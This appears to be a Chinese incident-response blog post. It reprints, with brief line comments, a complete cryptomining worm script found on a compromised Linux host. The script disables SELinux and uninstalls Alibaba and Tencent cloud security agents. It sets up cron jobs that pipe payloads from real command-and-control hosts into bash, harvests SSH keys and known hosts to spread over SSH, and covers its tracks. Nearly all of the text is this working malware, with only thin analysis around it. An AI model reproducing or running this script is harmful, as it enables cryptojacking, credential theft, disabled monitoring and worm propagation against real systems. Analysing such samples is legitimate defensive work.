背景

日常应急响应过程中发现的挖矿脚本，对其进行分析发现写的质量该不错，可以学习下

样本分析及学习

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
#关闭SElinux
setenforce 0 2>/dev/null
#将用户进程限制改为5000个
ulimit -u 50000
#临时修该 vm.nr_hugepages参数
sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
#跟据pid来干掉下面的端口运行的进程
netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':45700' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.24.12:8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.122.17.13:8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '107.189.11.170:443' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
#生成两个随机数
rand=$(seq 0 255 | sort -R | head -n1)
rand2=$(seq 0 255 | sort -R | head -n1)
#将下面文件的保护机制去掉，使其可删改
chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
#卸载阿里云的安骑士
if ps aux | grep -i '[a]liyun'; then
(wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
(wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
#关闭aliyun的服务
systemctl stop aliyun.service
systemctl disable aliyun.service
#干掉某云agent监控
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
#干掉腾讯云的云镜
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
sleep 1
echo "DER Uninstalled"
#改变文件/tmp/dbused属性（a：让文件或目录仅供附加用途、i：不得任意更动文件或目录）
chattr -ai /tmp/dbused
#利用ifconfig和ip a找到B段，给range变量
if [ -s /usr/bin/ifconfig ];
then
range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi
#测试矿池dns是否能解析pool.supportxmr.com
if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
dns=""
else
dns="-d"
fi
#测试矿池dns是否解析 bash.givemexyz.in，不能解析直接将url赋值为c2的地址
if [ $(ping -c 1 bash.givemexyz.in 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
url="http://bash.givemexyz.in"
else
url="http://209.141.40.190"
fi
#写入计划任务： 使用-e参数：激活转义字符
#前三个是吸入系统计划任务
#第四个是写入个人计划任务
#写入计划任务的内容就是以curl、wget、python的urllib2库 来下载挖矿样本到/tmp/xms，并以bash来执行下载的挖矿样本。之后再删除下载的挖矿样本/tmp/xms
echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
#放入etc/cron.hourly的脚本会每小时执行一次，写入计划任务，并给有可执行权限
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1
DIR="/tmp"
cd $DIR
if [ -a "/tmp/dbused" ]
then
if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ] #abused文件存在且可写，并且不是一个目录
then
if [ -x "$(command -v md5sum)" ] #查看是否有md计算命令 md5sum
then
sum=$(md5sum /tmp/dbused | awk '{ print $1 }') #计算abused的md5至
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
echo "x86_64 OK"
;;
*)
echo "x86_64 wrong"
rm -rf /usr/local/lib/libkk.so
echo "" > /etc/ld.so.preload
pkill -f wc.conf
pkill -f susss
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else #没有dbused文件
if [ -d "/tmp" ]
then
DIR="/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/.sh/dbused" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
#删除系统上的$2文件，用网上下载的$1文件替换
#get函数定义
get() {
chattr -i $2; rm -rf $2
wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 || lwp-download $1 $2 ||
chmod +x $2
}
#检查dbused是否存在，存在的话就计算md5来校验下，不存在就去下载
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/dbused ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
echo "x86_64 OK"
;;
*)
echo "x86_64 wrong"
sizeBefore=$(du $DIR/x86_64)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
download
sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
if [ -s /usr/bin/curl ];
then
echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
fi
;;
esac
else
echo "No md5sum"
download
fi
}
#download函数定义，验证md5不存在调用download2下载
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
echo "x86_64 OK"
cp $DIR/x86_643 $DIR/x86_64
cp $DIR/x86_643 $DIR/x86_64
;;
*)
echo "x86_64 wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
#调用get函数进行下载
download2() {
get $url/$(uname -m) "$DIR"/dbused
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
echo "x86_64 OK"
cp $DIR/x86_64 $DIR/x86_643
;;
*)
echo "x86_64 wrong"
;;
esac
else
echo "No md5sum"
fi
}
judge() {
if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
then
get $url/$(uname -m) "$DIR"/dbused
chmod +x "$DIR"/dbused
"$DIR"/dbused -c $dns
"$DIR"/dbused -pwn
sleep 5
else
echo "Running"
fi
}
if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
judge
else
echo "Running"
fi
if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
get $url/bashirc.$(uname -m) "$DIR"/bashirc
chmod 777 "$DIR"/bashirc
"$DIR"/bashirc
else
echo "Running"
fi
#检查计划任务，如不存在则重新建立
if crontab -l | grep -q "$url"
then
echo "Cron exists"
else
crontab -r
echo "Cron not found"
echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi
#或取本机器密钥
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
#获取机器记录的host
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
#获取机器记录的user名
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
#将以上信息加入list方便后面调用
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
chmod +r $key; chmod 400 $key
#使用密钥登录直接执行后面的命令
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oCOnnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
done
done
done
#恢复环境，删除相关的痕迹并将之前相关系统文件的权限加上
rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi
chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down